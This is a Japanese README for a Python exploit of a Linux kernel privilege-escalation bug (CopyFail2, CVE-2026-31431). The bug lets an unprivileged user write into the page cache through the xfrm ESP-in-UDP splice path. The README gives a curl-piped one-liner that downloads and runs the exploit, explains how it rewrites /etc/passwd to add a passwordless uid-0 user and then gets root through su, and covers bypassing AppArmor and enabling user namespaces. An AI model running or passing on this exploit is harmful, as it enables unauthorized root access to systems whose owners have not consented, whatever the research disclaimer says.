CopyFail2 (CVE-2026-31431) - Python実装

xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW 高速パスを利用したCopyFail2カーネルエクスプロイトのPython移植版。非特権Linuxユーザーによるローカル権限昇格を実現します。

/etc/passwd 内の nologin/false エントリをパスワードなしのuid-0ユーザーに置き換え、su 経由でrootシェルに移行します。

脆弱性

このカーネルバグは、xfrm ESP-in-UDPカプセル化で使用されるUDPスプライスパスに存在します。MSG_SPLICE_PAGES を指定してUDPソケットに splice() すると、コピーオンライトを発生させずにページが受信側のページキャッシュにマッピングされます。これにより、読み取り専用で開かれているファイルであっても、ページキャッシュにマッピングされている任意のファイルへの書き込みが可能になります。

• オリジナルC実装: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
• 上流修正: netdev/net.git

要件

• Linuxカーネル >= 6.5 (MSG_SPLICE_PAGES UDPサポート)
• libcrypto.so (OpenSSL)
• Python 3.8+
• CAP_NET_ADMIN またはユーザー名前空間を作成する権限

使用するバージョン

このリポジトリには2つのバリアントがあります。どちらも同じ結果を生成します。制約に応じて選択してください。

クイックスタート（最適化版）

# パイプ経由のワンライナー
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# ファイルに保存して実行
python3 exploit.py

# 変更を元に戻す
python3 exploit.py --clean

クイックスタート（raw/リファレンス版）

python3 exploit_raw.py
python3 exploit_raw.py --clean

apparmor_restrict_unprivileged_userns が有効なUbuntuでは、まずファイルを保存してからディスクから実行してください。パイプモードではAppArmor回避処理がスキップされます。

curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

動作の仕組み

1. キーストリームバイトが元の /etc/passwd のバイトを目的の値にXORするAES-GCM IVをブルートフォースで探索します。
2. 127.0.0.1:4500 にローカルのxfrm ESP-in-UDP状態をインストールします。
3. 偽造されたESPヘッダーとICVを含む攻撃者制御のバッキングファイルを作成します。
4. 3つの範囲（ESPヘッダー、/etc/passwd の対象バイト、ICV）をパイプに splice() します。
5. パイプをUDPソケットに splice() し、カーネルバグをトリガーしてバイトをページキャッシュに書き込みます。
6. 異なるバイトごとに繰り返し、nologin/false 行を sick::0:0:...:/:/bin/bash に上書きします。
7. su - sick でrootに移行します（PAM nullok が空のパスワードを受け入れます）。

テスト済み環境

トラブルシューティング

cannot acquire CAP_NET_ADMIN

カーネルで kernel.unprivileged_userns_clone=0 が設定されている可能性があります。有効にしてください:

sudo sysctl kernel.unprivileged_userns_clone=1

Docker内で実行している場合は、--privileged または --cap-add=SYS_ADMIN を指定してコンテナを起動してください。

クレジット

• Hyunwoo Kim (imv4bel) および Kuan-Ting Chen — 発見と上流修正
• Steffen Klassert — IPsecメンテナー、修正を公開
• Brad Spengler / grsecurity — 「copyfail-class」と命名
• Theori / Xint — オリジナルのCopy Fail (CVE-2026-31431)
• オリジナルCエクスプロイト: 0xdeadbeefnetwork
• Pythonエクスプロイト: guiimoraes

免責事項

このツールは、認可されたセキュリティ研究および教育目的のみで提供されています。所有していないシステム、または明示的なテスト許可がないシステムに対して使用しないでください。著者は、このソフトウェアの誤用または損害について一切の責任を負いません。